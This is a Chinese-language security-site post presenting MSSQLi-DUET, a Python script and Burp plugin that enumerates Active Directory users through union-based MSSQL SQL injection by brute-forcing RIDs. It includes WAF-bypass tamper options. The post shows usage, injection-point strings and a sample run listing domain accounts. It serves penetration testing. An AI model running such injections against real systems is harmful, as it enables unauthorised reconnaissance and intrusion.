基于MSSQL注入的域用户枚举工具 - 黑客门户-前言: 用于MSSQL的SQL注入脚本,该脚本基于RID强行从Active Directory环境中提取域用户。通过实现SQLmap篡改功能,支持各种形式的WAF旁路技术。用...

TZB互联网安全

黑客门户
关注于网络安全
首页>> 渗透测试工具 >>基于MSSQL注入的域用户枚举工具 - 黑客门户



前言:

用于MSSQL的SQL注入脚本,该脚本基于RID强行从Active Directory环境中提取域用户。通过实现SQLmap篡改功能,支持各种形式的WAF旁路技术。用户可以根据情况和环境并入其他篡改功能。


有两种形式:直接Python script用于终端,或Burp Suite plugin用于简单的GUI导航。

目前,目前仅支持基于联合的注入。为了全面测试工具的功能和准确性,需要更多的样本和测试用例。如果遇到问题,将非常欢迎您提供反馈和评论。

根据您的需要定制脚本和插件的定制也不应该太困难。请务必阅读“注释”部分以进行一些故障排除。

Burp Suite插件

将插件加载到Burp Suite后,右键单击请求并将其发送到MSSQLi-DUET有关参数等的更多详细信息,请参见下文。

该请求将填充在请求窗口中,并且仅需填写其上方的字段。点击运行后,输出将放置在结果输出框中,以方便复制粘贴。

MSSQL注入

Python脚本用法

脚本帮助

python3 mssqli-duet.py -h
usage: mssqli-duet.py [-h] -i INJECTION [-e ENCODING] -t TIME_DELAY -rid
                      RID_RANGE [-ssl SSL] -p PARAMETER [-proxy PROXY]
                      [-o OUTFILE] -r REQUEST_FILE

MSSQLi-DUET - MSSQL (Injection-based) Domain User Enumeration Tool

optional arguments:
  -h, --help            show this help message and exit
  -i INJECTION, --injection INJECTION
                        Injection point. Provide only the data needed to
                        escape the query.
  -e ENCODING, --encoding ENCODING
                        Type of encoding: unicode, doubleencode, unmagicquotes
  -t TIME_DELAY, --time_delay TIME_DELAY
                        Time delay for requests.
  -rid RID_RANGE, --rid_range RID_RANGE
                        Hypenated range of RIDs to bruteforce. Ex: 1000-1200
  -ssl SSL, --ssl SSL   Add flag for HTTPS
  -p PARAMETER, --parameter PARAMETER
                        Vulnerable parameter
  -proxy PROXY, --proxy PROXY
                        Proxy connection string. Ex: 127.0.0.1:8080
  -o OUTFILE, --outfile OUTFILE
                        Outfile for username enumeration results.
  -r REQUEST_FILE, --request_file REQUEST_FILE
                        Raw request file saved from Burp

Prepare to be enumerated! 

如何使用

在应用程序中确定基于联合的SQL注入后,请使用“复制到文件”功能从Burp Suite复制原始请求。

将带有-r标志的已保存请求传递给DUET 指定易受攻击的参数以及注入点。例如,如果参数“ element”容易受到SQL注入,-p则将为“ element”。DUET将自动构建所有SQL注入查询,但是需要提供有关初始注入的规范。意思是,如果注入是由于参数数据后的单撇号而发生的,则这将为自-i变量指定

Ex: test' 
    test'))
    test")" 

例子:

python3 mssqli-duet.py -i "carbon'" -t 0 -rid 1000-1200 -p element -r testrequest.req -proxy 127.0.0.1:8080
[+] Collected request data:
Target URL = http://192.168.11.22/search2.php?element=carbon
Method = GET
Content-Type = applcation/x-www-form-urlencoded


[+] Determining the number of columns in the table...
        [!] Number of columns is  3
[+] Determining column type...
        [!] Column type is null
[+] Discovering domain name...
        [+] Domain = NEUTRINO
[+] Discovering domain SID...
S-1-5-21-4142252318-1896537706-4233180933-

[+] Enumerating Active Directory via SIDs...

NEUTRINO\HYDROGENDC01$
NEUTRINO\DnsAdmins
NEUTRINO\DnsUpdateProxy
NEUTRINO\HELIUM$
NEUTRINO\BORON$
NEUTRINO\BERYLLIUM$
NEUTRINO\aeinstein
NEUTRINO\bbobberson
NEUTRINO\csagan
NEUTRINO\ccheese
NEUTRINO\svc_web
NEUTRINO\svc_sql 

笔记

根据发现的列的转换和类型限制,可能需要修改脚本。
这包括修改以切换有效负载的列位置,还修改查询字符串本身以解决不会产生错误的列类型。

另外,用于确定列数的逻辑当前不是最大的,并且可能需要注释掉某些比较以确保进行适当的确定。

总体而言,只需看看在Burp中发送的请求,并根据需要针对您所处的SQL注入环境定制脚本即可。



项目地址:点击跳转


×

感谢您的支持,我们会一直保持!

扫码支持
请土豪扫码随意打赏

打开支付宝扫一扫,即可进行扫码打赏哦

分享从这里开始,精彩与您同在

打赏作者
版权所有,转载注意明处:黑客门户 » 基于MSSQL注入的域用户枚举工具

发表评论

路人甲

网友评论(0)